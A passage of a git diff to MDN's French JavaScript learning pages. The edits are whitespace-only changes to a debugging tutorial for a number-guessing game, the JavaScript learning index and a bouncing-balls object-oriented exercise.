fonctions, le code dans les fonctions s'exécute dans une instance séparée du code en dehors des fonctions. Dans notre cas, le code n'avait pas été exécuté et l'erreur ne pouvait pas survenir avant que la fonction `checkGuess()` soit lancée à la ligne 86. -4. Regardez à la ligne 78, vous verrez ce code : +4. Regardez à la ligne 78, vous verrez ce code : ```js lowOrHi.textContent = 'Last guess was too high!'; ``` -5. La commande dans cette ligne essaie de définir la propriété `textContent` de la variable `lowOrHi` à l'aide d'une chaîne textuelle ; mais cela ne fonctionne pas car `lowOrHi` ne contient pas ce qui est attendu. Voyons voir — recherchons d'autres occurrences de `lowOrHi` dans le code. La plus proche que vous trouverez dans le JavaScript se situe à la ligne 48 : +5. La commande dans cette ligne essaie de définir la propriété `textContent` de la variable `lowOrHi` à l'aide d'une chaîne textuelle ; mais cela ne fonctionne pas car `lowOrHi` ne contient pas ce qui est attendu. Voyons voir — recherchons d'autres occurrences de `lowOrHi` dans le code. La plus proche que vous trouverez dans le JavaScript se situe à la ligne 48 : ```js let lowOrHi = document.querySelector('lowOrHi'); ``` -6. Là, nous essayons de faire en sorte que la variable contienne une référence à un élément dans le HTML du document. Vérifions si sa valeur est `null` après que cette ligne ait été exécutée. Ajoutez le code suivant à la ligne 49 : +6. Là, nous essayons de faire en sorte que la variable contienne une référence à un élément dans le HTML du document. Vérifions si sa valeur est `null` après que cette ligne ait été exécutée. Ajoutez le code suivant à la ligne 49 : ```js console.log(lowOrHi); @@ -117,43 +117,43 @@ Antérieurement dans le cours, nous vous avons demandé de taper quelques comman > **Note :** [`console.log()`](/fr/docs/Web/API/Console/log) est vraiment utile pour déboguer une fonction en affichant sa valeur sur la console. Donc, elle affichera sur cette dernière la valeur de `lowOrHi` que nous avons essayé de définir à la ligne 48. -7. Enregistrez et actualisez la page, et vous verrez le résultat de `console.log()` sur la console.  C'est sûr, la valeur de `lowOrHi` est `null` à ce niveau ; il y a bien un problème à la ligne 48. -8. Quel est ce problème ? Réfléchissons. À la ligne 48, nous avons utilisé la méthode [`document.querySelector()`](/fr/docs/Web/API/Document/querySelector) pour obtenir une référence sur un élément avec un sélecteur CSS. En regardant plus en amont dans notre fichier, nous pouvons trouver le paragraphe en question : +7. Enregistrez et actualisez la page, et vous verrez le résultat de `console.log()` sur la console.  C'est sûr, la valeur de `lowOrHi` est `null` à ce niveau ; il y a bien un problème à la ligne 48. +8. Quel est ce problème ? Réfléchissons. À la ligne 48, nous avons utilisé la méthode [`document.querySelector()`](/fr/docs/Web/API/Document/querySelector) pour obtenir une référence sur un élément avec un sélecteur CSS. En regardant plus en amont dans notre fichier, nous pouvons trouver le paragraphe en question : ```js <p class="lowOrHi"></p> ``` -9. Donc, il nous faut un sélecteur de classe ici, précédé d'un point (.), alors que le sélecteur passé à la méthode `querySelector()` en ligne 48 n'en a pas. Ce pourrait être le problème ! Changeons `lowOrHi` en `.lowOrHi` à la ligne 48. -10. Enregistrons et actualisons à nouveau, et la directive `console.log()` renvoie bien l'élément `<p>` attendu. Pfff ! Une autre erreur corrigée ! On peut enlever la ligne `console.log()` maintenant, ou bien la garder pour s'y reporter plus tard — comme vous l'entendez. +9. Donc, il nous faut un sélecteur de classe ici, précédé d'un point (.), alors que le sélecteur passé à la méthode `querySelector()` en ligne 48 n'en a pas. Ce pourrait être le problème ! Changeons `lowOrHi` en `.lowOrHi` à la ligne 48. +10. Enregistrons et actualisons à nouveau, et la directive `console.log()` renvoie bien l'élément `<p>` attendu. Pfff ! Une autre erreur corrigée ! On peut enlever la ligne `console.log()` maintenant, ou bien la garder pour s'y reporter plus tard — comme vous l'entendez. > **Note :** Voyez la page relative à [TypeError: "x" is (not) "y"](/fr/docs/Web/JavaScript/Reference/Errors/Unexpected_type) pour plus de précisions à propos de cette erreur. -### Erreurs de syntaxe : troisième tour +### Erreurs de syntaxe : troisième tour 1. Maintenant si vous essayez de jouer, cela ira mieux — tout se déroule correctement, jusqu'à ce que vous arriviez à la fin, soit en devinant le bon chiffre, soit en épuisant le nombre de tentatives permises. -2. Arrivé là, le jeu échoue à nouveau et vous rencontrez la même erreur qu'au début — "TypeError: resetButton.addeventListener is not a function" ! Mais cette fois‑ci, elle vient de la ligne 94. +2. Arrivé là, le jeu échoue à nouveau et vous rencontrez la même erreur qu'au début — "TypeError: resetButton.addeventListener is not a function" ! Mais cette fois‑ci, elle vient de la ligne 94. 3. En regardant cette ligne, il est facile de voir que nous avons fait ici la même erreur que précédemment. Il nous suffit de changer `addeventListener` en `addEventListener`. Faites‑le. ## Une erreur de logique -À ce stade, le jeu se déroule correctement, mais après avoir fait quelques parties, vous noterez sans doute que le nombre « aléatoire » à deviner est toujours 0 ou 1. Franchement, de quoi vous dégoûter de jouer ! +À ce stade, le jeu se déroule correctement, mais après avoir fait quelques parties, vous noterez sans doute que le nombre « aléatoire » à deviner est toujours 0 ou 1. Franchement, de quoi vous dégoûter de jouer ! -Il y a sûrement un problème dans la logique du jeu quelque part — le jeu ne renvoie pas d'erreur ; il ne fonctionne pas correctement. +Il y a sûrement un problème dans la logique du jeu quelque part — le jeu ne renvoie pas d'erreur ; il ne fonctionne pas correctement. -1. Recherchons les lignes où la variable `randomNumber` est définie. L'instance qui stocke en début de jeu le nombre aléatoire à deviner se situe autour de la ligne 44 : +1. Recherchons les lignes où la variable `randomNumber` est définie. L'instance qui stocke en début de jeu le nombre aléatoire à deviner se situe autour de la ligne 44 : ```js let randomNumber = Math.floor(Math.random()) + 1; ``` - Et celle qui génére le nombre aléatoire pour une succession de jeux se situe autour de la ligne 113 : + Et celle qui génére le nombre aléatoire pour une succession de jeux se situe autour de la ligne 113 : ```js randomNumber = Math.floor(Math.random()) + 1; ``` -2. Pour vérifier si ces lignes sont vraiment à l'origine du problème, faisons appel à nouveau à notre ami `console.log()` — insérons la ligne suivante directement en dessous des deux lignes indiquées plus haut : +2. Pour vérifier si ces lignes sont vraiment à l'origine du problème, faisons appel à nouveau à notre ami `console.log()` — insérons la ligne suivante directement en dessous des deux lignes indiquées plus haut : ```js console.log(randomNumber); @@ -169,23 +169,23 @@ Pour corriger cela, examinons d'abord le fonctionnement de cette ligne. Premièr Math.random() ``` -Puis, nous passons le résultat de l'appel de `Math.random()` à [`Math.floor()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Math/floor), qui arrondit le nombre passé à l'entier inférieur le plus proche. Puis, on ajoute 1 au résultat : +Puis, nous passons le résultat de l'appel de `Math.random()` à [`Math.floor()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Math/floor), qui arrondit le nombre passé à l'entier inférieur le plus proche. Puis, on ajoute 1 au résultat : Math.floor(Math.random()) + 1 -Garder la partie entière d'un nombre décimal compris entre 0 et 1 renvoie toujours 0, y ajouter 1 donne toujours 1. Il faut multiplier le nombre aléatoire par 100 avant de l'arrondir par défaut. La ligne suivante nous donne un entier aléatoire entre 0 et 99 : +Garder la partie entière d'un nombre décimal compris entre 0 et 1 renvoie toujours 0, y ajouter 1 donne toujours 1. Il faut multiplier le nombre aléatoire par 100 avant de l'arrondir par défaut. La ligne suivante nous donne un entier aléatoire entre 0 et 99 : ```js Math.floor(Math.random()*100); ``` -Maintenant ajoutons 1 pour obtenir un nombre aléatoire entre 1 et 100 : +Maintenant ajoutons 1 pour obtenir un nombre aléatoire entre 1 et 100 : ```js Math.floor(Math.random()*100) + 1; ``` -Modifiez ces deux lignes comme indiqué, enregistrez, actualisez — le jeu devrait maintenant fonctionner comme il faut ! +Modifiez ces deux lignes comme indiqué, enregistrez, actualisez — le jeu devrait maintenant fonctionner comme il faut ! ## Autres erreurs courantes @@ -193,7 +193,7 @@ D'autres erreurs courantes peuvent être commises en écrivant du code. Ce parag ### SyntaxError: missing ; before statement -Cette erreur signale généralement l'oubli du point‑virgule à la fin d'une ligne de code ; mais elle peut se révéler parfois plus énigmatique. Par exemple, si, dans la fonction `checkGuess(),`nous modifions cette ligne : +Cette erreur signale généralement l'oubli du point‑virgule à la fin d'une ligne de code ; mais elle peut se révéler parfois plus énigmatique. Par exemple, si, dans la fonction `checkGuess(),`nous modifions cette ligne : ```js let userGuess = Number(guessField.value); @@ -205,13 +205,13 @@ en let userGuess === Number(guessField.value); ``` -cela déclenchera cette même erreur car le logiciel pense que vous êtes en train de faire quelque chose d'autre. Vous devez vous assurer que vous n'avez pas confondu l'opérateur d'assignation (`=`) — qui fixe une valeur donnée à une variable — avec l'opérateur (`===`) qui teste la stricte égalité de deux valeurs, et renvoie un résultat `true`/`false` (vrai/faux). +cela déclenchera cette même erreur car le logiciel pense que vous êtes en train de faire quelque chose d'autre. Vous devez vous assurer que vous n'avez pas confondu l'opérateur d'assignation (`=`) — qui fixe une valeur donnée à une variable — avec l'opérateur (`===`) qui teste la stricte égalité de deux valeurs, et renvoie un résultat `true`/`false` (vrai/faux). > **Note :** Voyez la page relative à [SyntaxError: missing ; before statement](/fr/docs/Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement) pour plus de précisions à propos de cette erreur. ### Le programme dit que vous avez gagné quelle que soit votre suggestion. -Voilà un autre symptome de la confusion entre opérateur d'assignation et opérateur de test d'égalité. Ainsi, dans `checkGuess()`, si vous modifiez cette ligne : +Voilà un autre symptome de la confusion entre opérateur d'assignation et opérateur de test d'égalité. Ainsi, dans `checkGuess()`, si vous modifiez cette ligne : ```js if (userGuess === randomNumber) { @@ -223,7 +223,7 @@ en if (userGuess = randomNumber) { ``` -le test renverra toujours `true` (vrai) et le programme indiquera que vous avez gagné à tout coup. Soyez attentif ! +le test renverra toujours `true` (vrai) et le programme indiquera que vous avez gagné à tout coup. Soyez attentif ! ### SyntaxError: missing ) after argument list @@ -245,7 +245,7 @@ en function checkGuess( { ``` -Le navigateur pense que vous essayez de passer le contenu d'un fonction comme argument pour l'autre fonction. Soyez attentifs avec les parenthèses ! +Le navigateur pense que vous essayez de passer le contenu d'un fonction comme argument pour l'autre fonction. Soyez attentifs avec les parenthèses ! ### SyntaxError: missing } after function body @@ -255,17 +255,17 @@ Facile — elle signifie généralement que vous avez omis une accolade dans une Ces erreurs signalent généralement l'oubli de guillemets ouvrants ou fermants dans une chaîne littérale. Dans la première erreur du titre, _string_ doit être remplacé par l'un ou les caractères inattendus que l'explorateur a trouvé à la place du guillemet en début de chaîne. La deuxième erreur indique que la chaîne n'a pas été clôturée avec un guillement fermant. -Pour toutes ces erreurs, revoyez comment nous avons opéré dans les exemples de ce parcours. Quand une erreur survient, regardez le numéro de ligne indiqué, allez à cette ligne et voyez si vous remarquez ce qui ne va pas. N'oubliez pas que l'erreur n'est pas forcément sur la ligne indiquée, et qu'elle ne provient pas forcément d'un des problèmes évoqués plus haut ! +Pour toutes ces erreurs, revoyez comment nous avons opéré dans les exemples de ce parcours. Quand une erreur survient, regardez le numéro de ligne indiqué, allez à cette ligne et voyez si vous remarquez ce qui ne va pas. N'oubliez pas que l'erreur n'est pas forcément sur la ligne indiquée, et qu'elle ne provient pas forcément d'un des problèmes évoqués plus haut ! -> **Note :** Voyez les pages relatives à [SyntaxError: Unexpected token](/fr/docs/Web/JavaScript/Reference/Errors/Unexpected_token) et [SyntaxError: unterminated string literal](/fr/docs/Web/JavaScript/Reference/Errors/Unterminated_string_literal) pour plus de précisions à ce propos. +> **Note :** Voyez les pages relatives à [SyntaxError: Unexpected token](/fr/docs/Web/JavaScript/Reference/Errors/Unexpected_token) et [SyntaxError: unterminated string literal](/fr/docs/Web/JavaScript/Reference/Errors/Unterminated_string_literal) pour plus de précisions à ce propos. ## Résumé -Voilà ce que nous pouvons dire à propos des erreurs basiques pour de simples programmes JavaScript. Il n'est pas toujours aussi simple de détecter ce qui ne va pas dans du code, mais au moins vous économiserez ainsi quelques heures de veille et vous progresserez plus rapidement si les choses ne déraillent pas dès le début de votre parcours d'apprentissage. +Voilà ce que nous pouvons dire à propos des erreurs basiques pour de simples programmes JavaScript. Il n'est pas toujours aussi simple de détecter ce qui ne va pas dans du code, mais au moins vous économiserez ainsi quelques heures de veille et vous progresserez plus rapidement si les choses ne déraillent pas dès le début de votre parcours d'apprentissage. ## Voir aussi -- Il y a nombre d'autres erreurs qui n'ont pas été listées ici ; nous les avons récolées dans un référencement qui les explique en détail — voyez [JavaScript error reference](/fr/docs/Web/JavaScript/Reference/Errors). -- Si dans votre code vous rencontrez une erreur, et même après avoir lu cet article, vous ne parvenez pas à la corriger, vous pouvez obtenir de l'aide ! Demandez‑la sur le fil de discussion [Learning Area Discourse thread](https://discourse.mozilla-community.org/t/learning-web-development-marking-guides-and-questions/16294) ou par le canal IRC de [#mdn](irc://irc.mozilla.org/mdn) sur [Mozilla IRC](https://wiki.mozilla.org/IRC). Dites‑nous quelle est cette erreur, et nous essayerons de vous aider. Un listing de votre code sera aussi utile. +- Il y a nombre d'autres erreurs qui n'ont pas été listées ici ; nous les avons récolées dans un référencement qui les explique en détail — voyez [JavaScript error reference](/fr/docs/Web/JavaScript/Reference/Errors). +- Si dans votre code vous rencontrez une erreur, et même après avoir lu cet article, vous ne parvenez pas à la corriger, vous pouvez obtenir de l'aide ! Demandez‑la sur le fil de discussion [Learning Area Discourse thread](https://discourse.mozilla-community.org/t/learning-web-development-marking-guides-and-questions/16294) ou par le canal IRC de [#mdn](irc://irc.mozilla.org/mdn) sur [Mozilla IRC](https://wiki.mozilla.org/IRC). Dites‑nous quelle est cette erreur, et nous essayerons de vous aider. Un listing de votre code sera aussi utile. {{PreviousMenuNext("Learn/JavaScript/First_steps/A_first_splash", "Learn/JavaScript/First_steps/Variables", "Learn/JavaScript/First_steps")}} diff --git a/files/fr/learn/javascript/index.md b/files/fr/learn/javascript/index.md index f730e65560..44dcb21e4f 100644 --- a/files/fr/learn/javascript/index.md +++ b/files/fr/learn/javascript/index.md @@ -16,7 +16,7 @@ original_slug: Apprendre/JavaScript ## Parcours d'apprentissage -JavaScript est sans doute plus difficile à apprendre que les technologies connexes telles que [HTML](/fr/Apprendre/HTML) et [CSS](/fr/Apprendre/CSS). Avant d'essayer d'apprendre le JavaScript, il est fortement conseillé de se familiariser d'abord avec au moins ces deux technologies, et peut-être aussi avec d'autres. Commencez par travailler sur les modules suivants : +JavaScript est sans doute plus difficile à apprendre que les technologies connexes telles que [HTML](/fr/Apprendre/HTML) et [CSS](/fr/Apprendre/CSS). Avant d'essayer d'apprendre le JavaScript, il est fortement conseillé de se familiariser d'abord avec au moins ces deux technologies, et peut-être aussi avec d'autres. Commencez par travailler sur les modules suivants : - [Commencer avec le Web](/fr/Apprendre/Commencer_avec_le_web) - [Introduction au HTML](/fr/Apprendre/HTML/Introduction_%C3%A0_HTML) @@ -24,14 +24,14 @@ JavaScript est sans doute plus difficile à apprendre que les technologies conne Avoir une expérience antérieure avec d'autres langages de programmation peut également aider. -Après vous être familiarisé avec les bases de JavaScript, vous devriez être en mesure d'en apprendre davantage sur des sujets plus avancés, par exemple : +Après vous être familiarisé avec les bases de JavaScript, vous devriez être en mesure d'en apprendre davantage sur des sujets plus avancés, par exemple : - JavaScript en profondeur, comme enseigné dans notre [guide JavaScript](/fr/docs/Web/JavaScript/Guide) - [API web](/fr/docs/Web/API) ## Modules -Cette rubrique contient les modules suivants, dans l'ordre suggéré pour les aborder : +Cette rubrique contient les modules suivants, dans l'ordre suggéré pour les aborder : - [Premiers pas en JavaScript](/fr/docs/Learn/JavaScript/First_steps) - : Dans notre premier module JavaScript, nous répondons d'abord à des questions fondamentales telles que «qu'est-ce que le JavaScript ?», «à quoi cela ressemble-t-il ?» et «que peut-il faire ?», avant de passer à votre première expérience pratique d'écriture de JavaScript. Après cela, nous discutons en détail de certaines fonctionnalités clés de JavaScript, telles que les variables, les chaînes, les nombres et les tableaux. diff --git a/files/fr/learn/javascript/objects/adding_bouncing_balls_features/index.md b/files/fr/learn/javascript/objects/adding_bouncing_balls_features/index.md index c062678477..f1a56cb0f7 100644 --- a/files/fr/learn/javascript/objects/adding_bouncing_balls_features/index.md +++ b/files/fr/learn/javascript/objects/adding_bouncing_balls_features/index.md @@ -16,7 +16,7 @@ original_slug: >- --- {{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/Objects/Object_building_practice", "", "Learn/JavaScript/Objects")}} -Dans cet exercice, vous devrez utiliser le jeu des balles rebondissantes de l'article précédent comme base, pour y ajouter de nouvelles fonctionnalitées intéressantes. +Dans cet exercice, vous devrez utiliser le jeu des balles rebondissantes de l'article précédent comme base, pour y ajouter de nouvelles fonctionnalitées intéressantes. <table class="standard-table"> <tbody> @@ -39,76 +39,76 @@ Dans cet exercice, vous devrez utiliser le jeu des balles rebondissantes de l'ar ## Pour commencer -Pour commencer, faite une copie locale de [index-finished.html](https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/index-finished.html), [style.css](https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/style.css), et [main-finished.js](https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/main-finished.js) de l'article précédent, dans un nouveau dossier. +Pour commencer, faite une copie locale de [index-finished.html](https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/index-finished.html), [style.css](https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/style.css), et [main-finished.js](https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/main-finished.js) de l'article précédent, dans un nouveau dossier. -> **Note :** Vous pouvez utiliser un site comme [JSBin](http://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/). Vous pouvez copier vos codes HTML, CSS et JavaScript dans l'un d'entre eux. Si celui que vous utilisez ne possède pas de fenêtres séparées pour les différents langages, ajoutez les dans des balises `<script>`/`<style>` dans votre code HTML. +> **Note :** Vous pouvez utiliser un site comme [JSBin](http://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/). Vous pouvez copier vos codes HTML, CSS et JavaScript dans l'un d'entre eux. Si celui que vous utilisez ne possède pas de fenêtres séparées pour les différents langages, ajoutez les dans des balises `<script>`/`<style>` dans votre code HTML. ## Le projet en bref -Notre jeu des balles est assez sympa, mais maintenant il s'agit de le rendre plus interactif en y ajoutant un viseur contrôlé par l'utilisateur, qui va détruire une balle s'il la touche. Nous voulons aussi tester votre capacité en programmation orientée objet en créant un object `Shape()` dont le viseur et les balles peuvent hériter. Pour terminer, nous voulons créer un compteur qui permet d'afficher combien de balles il nous reste encore à détruire. +Notre jeu des balles est assez sympa, mais maintenant il s'agit de le rendre plus interactif en y ajoutant un viseur contrôlé par l'utilisateur, qui va détruire une balle s'il la touche. Nous voulons aussi tester votre capacité en programmation orientée objet en créant un object `Shape()` dont le viseur et les balles peuvent hériter. Pour terminer, nous voulons créer un compteur qui permet d'afficher combien de balles il nous reste encore à détruire. Ce screenshot vous donne une idée du résultat final:  -Si vous voulez en savoir plus, regardez [l'exemple fini ](http://mdn.github.io/learning-area/javascript/oojs/assessment/) (n'en profitez pas pour récupérer le code source !). +Si vous voulez en savoir plus, regardez [l'exemple fini ](http://mdn.github.io/learning-area/javascript/oojs/assessment/) (n'en profitez pas pour récupérer le code source !). -## Vos objectifs +## Vos objectifs Cette section décrit ce que vous aurez à faire. ### Créons nos nouveaux objets -Pour commencer, modifions le constructeur de l'objet `Ball()` pour qu'il devienne le constructeur de `Shape()` puis créons en un nouveau pour `Ball()` : +Pour commencer, modifions le constructeur de l'objet `Ball()` pour qu'il devienne le constructeur de `Shape()` puis créons en un nouveau pour `Ball()` : -1. Le constructeur `Shape()` devra définir les propriétés `x`, `y`, `velX`, et `velY` de la même manière que le constructeur `Ball()` auparavant, mais sans les propriétés `color` et `size`. -2. `Shape()` doit aussi définir une nouvelle propriété `exists`, qui servira à identifier les balles qu'il reste à détruire dans la fenêtre (celles qui n'ont pas encore été détruites). Elle doit retourner un booléen (`true`/`false`). -3. Le constructeur `Ball()` doit hériter des propriétés `x`, `y`, `velX`, `velY`, et `exists` du constructeur `Shape()`. -4. `Ball()` doit aussi définir les propriétés `color` et `size`, comme à l'origine. -5. N'oubliez pas de définir le prototype de `Ball()` et son constructeur de manière approprié. +1. Le constructeur `Shape()` devra définir les propriétés `x`, `y`, `velX`, et `velY` de la même manière que le constructeur `Ball()` auparavant, mais sans les propriétés `color` et `size`. +2. `Shape()` doit aussi définir une nouvelle propriété `exists`, qui servira à identifier les balles qu'il reste à détruire dans la fenêtre (celles qui n'ont pas encore été détruites). Elle doit retourner un booléen (`true`/`false`). +3. Le constructeur `Ball()` doit hériter des propriétés `x`, `y`, `velX`, `velY`, et `exists` du constructeur `Shape()`. +4. `Ball()` doit aussi définir les propriétés `color` et `size`, comme à l'origine. +5. N'oubliez pas de définir le prototype de `Ball()` et son constructeur de manière approprié. -Les méthodes `draw()`, `update()`, et `collisionDetect()` doivent fonctionnées comme avant, sans être modifiées. +Les méthodes `draw()`, `update()`, et `collisionDetect()` doivent fonctionnées comme avant, sans être modifiées. -Vous devrez ajouter un nouveau paramètre au constructeur `new Ball() ( ... )` — le paramètre `exists` doit être le 5ème et être égal à `true`. +Vous devrez ajouter un nouveau paramètre au constructeur `new Ball() ( ... )` — le paramètre `exists` doit être le 5ème et être égal à `true`. Vous pouvez recharger la page — tout doit fonctionner comme avant, même après les modifications que vous avez effectuées sur les objets. ### Définition du EvilCircle() (viseur) -Il est temps de vous équipez ! — le `EvilCircle()`! Dans notre jeu, nous allons créer un viseur mais nous allons nous servir de l'objet `Shape()` pour le définir. Vous voudrez certainement en ajouter un (plusieurs) autre plus tard, qu'un autre joueur ou l'ordinateur pourra contrôler. Vous n'irez probablement pas bien loin avec un seul viseur, mais ce sera suffisant pour le moment ! +Il est temps de vous équipez ! — le `EvilCircle()`! Dans notre jeu, nous allons créer un viseur mais nous allons nous servir de l'objet `Shape()` pour le définir. Vous voudrez certainement en ajouter un (plusieurs) autre plus tard, qu'un autre joueur ou l'ordinateur pourra contrôler. Vous n'irez probablement pas bien loin avec un seul viseur, mais ce sera suffisant pour le moment ! -Le constructeur du `EvilCircle()` doit hériter des propriétés `x`, `y`, `velX`, `velY`, et `exists` de `Shape()`, mais `velX` et `velY` doivent toujours être égales à 20. +Le constructeur du `EvilCircle()` doit hériter des propriétés `x`, `y`, `velX`, `velY`, et `exists` de `Shape()`, mais `velX` et `velY` doivent toujours être égales à 20. -Vous devriez utiliser quelque chose comme `Shape.call(this, x, y, 20, 20, exists);` +Vous devriez utiliser quelque chose comme `Shape.call(this, x, y, 20, 20, exists);` Le constructeur doit aussi définir ses propres propriétés: - `color` — `'white'` - `size` — `10` -Une fois de plus, souvenez-vous de définir vos propriétés héritées en paramètre du constructeur et de définir le prototype et son constructeur de manière appropriée. +Une fois de plus, souvenez-vous de définir vos propriétés héritées en paramètre du constructeur et de définir le prototype et son constructeur de manière appropriée. -### Définir les méthodes du EvilCircle() (viseur) +### Définir les méthodes du EvilCircle() (viseur) -`EvilCircle()` doit avoir quatre méthodes, comme définie en dessous. +`EvilCircle()` doit avoir quatre méthodes, comme définie en dessous. #### `draw()` -Cette méthode doit avoir la même fonction que celle de `Ball()`: soit dessiner l'objet dans le canvas. Elle fonctionnera quasiment de la même manière, copiez la fonction `Ball.prototype.draw`. Puis appliquez les modifications suivantes: +Cette méthode doit avoir la même fonction que celle de `Ball()`: soit dessiner l'objet dans le canvas. Elle fonctionnera quasiment de la même manière, copiez la fonction `Ball.prototype.draw`. Puis appliquez les modifications suivantes: -- On ne veut pas que le viseur soit plein, mais qu'il ait seulement un contour. Changez [`fillStyle`](/fr/docs/Web/API/CanvasRenderingContext2D/fillStyle) et [`fill()`](/fr/docs/Web/API/CanvasRenderingContext2D/fill) pour [`strokeStyle`](/fr/docs/Web/API/CanvasRenderingContext2D/strokeStyle) et [`stroke()`](/fr/docs/Web/API/CanvasRenderingContext2D/stroke). -- On voudrait qu'il soit aussi un peu plus épais, pour être plus facile à voir. Pour ça on doit définir un attribut [`lineWidth`](/fr/docs/Web/API/CanvasRenderingContext2D/lineWidth) à ctx après l'appel à la fonction [`beginPath()`](/fr/docs/Web/API/CanvasRenderingContext2D/beginPath) (avec une valeur de 3). +- On ne veut pas que le viseur soit plein, mais qu'il ait seulement un contour. Changez [`fillStyle`](/fr/docs/Web/API/CanvasRenderingContext2D/fillStyle) et [`fill()`](/fr/docs/Web/API/CanvasRenderingContext2D/fill) pour [`strokeStyle`](/fr/docs/Web/API/CanvasRenderingContext2D/strokeStyle) et [`stroke()`](/fr/docs/Web/API/CanvasRenderingContext2D/stroke). +- On voudrait qu'il soit aussi un peu plus épais, pour être plus facile à voir. Pour ça on doit définir un attribut [`lineWidth`](/fr/docs/Web/API/CanvasRenderingContext2D/lineWidth) à ctx après l'appel à la fonction [`beginPath()`](/fr/docs/Web/API/CanvasRenderingContext2D/beginPath) (avec une valeur de 3). #### `checkBounds()` -Cette méthode à la même fonction que la première partie de `Ball()` `update()` — Savoir si le viseur va hors de l'écran, et l'arrêter si besoin. Une fois encore, copié la méthode `Ball.prototype.update`, mais en effectuant quelques changements: +Cette méthode à la même fonction que la première partie de `Ball()` `update()` — Savoir si le viseur va hors de l'écran, et l'arrêter si besoin. Une fois encore, copié la méthode `Ball.prototype.update`, mais en effectuant quelques changements: - Débarrassez-vous des deux dernières lignes — on a pas besoin de connaître la position du viseur à chaque frame, car nous le déplacerons d'une manière différente comme vous pourrez le voir. -- Dans les conditions en `if()` , si la condition retourne true on ne veut pas modifier (update) les propriétés `velX`/`velY`; mais plutôt changer les valeurs de `x`/`y` de manière à ce que le viseur revienne doucement dans l'écran. Ajouter ou soustraire de manière appropriée la taille (`size)` du viseur sera suffisant. +- Dans les conditions en `if()`, si la condition retourne true on ne veut pas modifier (update) les propriétés `velX`/`velY`; mais plutôt changer les valeurs de `x`/`y` de manière à ce que le viseur revienne doucement dans l'écran. Ajouter ou soustraire de manière appropriée la taille (`size)` du viseur sera suffisant. #### `setControls()` -Cette méthode ajoute un écouteur d'évènement `onkeydown` à l'objet `window` ce qui permettra en enfonçant certaine touche du clavier de déplacer le viseur dans la fenêtre. Insérez le code suivant dans la méthode: +Cette méthode ajoute un écouteur d'évènement `onkeydown` à l'objet `window` ce qui permettra en enfonçant certaine touche du clavier de déplacer le viseur dans la fenêtre. Insérez le code suivant dans la méthode: ```js var _this = this; @@ -125,31 +125,31 @@ window.onkeydown = function(e) { } ``` -Quand une touche est enfoncée, la propriété [keyCode](/fr/docs/Web/API/KeyboardEvent/keyCode) de l'objet event est consultée pour savoir quelle touche est enfoncée. Si c'est une des touches spécifiée, alors le viseur ce déplacera à gauche, à droite, en haut ou en bas. +Quand une touche est enfoncée, la propriété [keyCode](/fr/docs/Web/API/KeyboardEvent/keyCode) de l'objet event est consultée pour savoir quelle touche est enfoncée. Si c'est une des touches spécifiée, alors le viseur ce déplacera à gauche, à droite, en haut ou en bas. -- Pour un point bonus, faite apparaître à quel touche correspond le code de celle que l'utilisateur a enfoncé. -- Pour un second point bonus, pouvez vous nous dire pourquoi nous devons définir `var _this = this;` de cette façon ? Cela à quelque chose à voir avec la portée des fonction. +- Pour un point bonus, faite apparaître à quel touche correspond le code de celle que l'utilisateur a enfoncé. +- Pour un second point bonus, pouvez vous nous dire pourquoi nous devons définir `var _this = this;` de cette façon ? Cela à quelque chose à voir avec la portée des fonction. #### `collisionDetect()` -Cette méthode fonctionne d'une manière similaire à `Ball()` `collisionDetect()`, copier celle-ci pour vous en servir comme base. Il y a deux différences: +Cette méthode fonctionne d'une manière similaire à `Ball()` `collisionDetect()`, copier celle-ci pour vous en servir comme base. Il y a deux différences: -- Dans la condition extérieure `if`, nous n'avons plus besoin de vérifier si la balle actuellement dans la boucle est celle actuellement surveiller — Parce que ce n'est plus une balle, mais notre viseur ! A la place, on doit tester si la balle visée existe (avec quelle propriété pourrez vous faire cela?). Si elle n'existe pas, c'est qu'elle a déjà été détruite, on a donc pas besoin de la vérifier encore une fois. -- Dans la condition intérieur `if`, on ne souhaite plus changer un élément de couleur lorsqu'une collision est détéctée — A la place, on veut détruire les balles qui entre en collision avec le viseur (encore une fois, comment pensez-vous faire cela ?). +- Dans la condition extérieure `if`, nous n'avons plus besoin de vérifier si la balle actuellement dans la boucle est celle actuellement surveiller — Parce que ce n'est plus une balle, mais notre viseur ! A la place, on doit tester si la balle visée existe (avec quelle propriété pourrez vous faire cela?). Si elle n'existe pas, c'est qu'elle a déjà été détruite, on a donc pas besoin de la vérifier encore une fois. +- Dans la condition intérieur `if`, on ne souhaite plus changer un élément de couleur lorsqu'une collision est détéctée — A la place, on veut détruire les balles qui entre en collision avec le viseur (encore une fois, comment pensez-vous faire cela ?). ### Insérer le viseur dans notre programme -Maintenant que nous avons définit notre viseur, on a besoin de le faire apparaître à l'écran. Pour ce faire on doit appliquer quelques modifications à la fonction `loop()`. +Maintenant que nous avons définit notre viseur, on a besoin de le faire apparaître à l'écran. Pour ce faire on doit appliquer quelques modifications à la fonction `loop()`. -- Premièrement, créons une nouvelle instance de l'objet viseur (en spécifiant les paramètres nécessaire), et appelons sa méthode `setControls()`. On doit seulement effectuer ses deux actions une seule fois, pas à chaque itération. -- Au moment où l'on boucle à travers toutes les balles et que l'on appelle les méthodes `draw()`, `update()`, et `collisionDetect()` pour chacune d'entre elle, faite de manière à ce que ces fonctions soit appelées seulement si la balle existe. -- Appellez les méthodes de l'instance du viseur `draw()`, `checkBounds()`, et `collisionDetect()` à chaque itération de la boucle. +- Premièrement, créons une nouvelle instance de l'objet viseur (en spécifiant les paramètres nécessaire), et appelons sa méthode `setControls()`. On doit seulement effectuer ses deux actions une seule fois, pas à chaque itération. +- Au moment où l'on boucle à travers toutes les balles et que l'on appelle les méthodes `draw()`, `update()`, et `collisionDetect()` pour chacune d'entre elle, faite de manière à ce que ces fonctions soit appelées seulement si la balle existe. +- Appellez les méthodes de l'instance du viseur `draw()`, `checkBounds()`, et 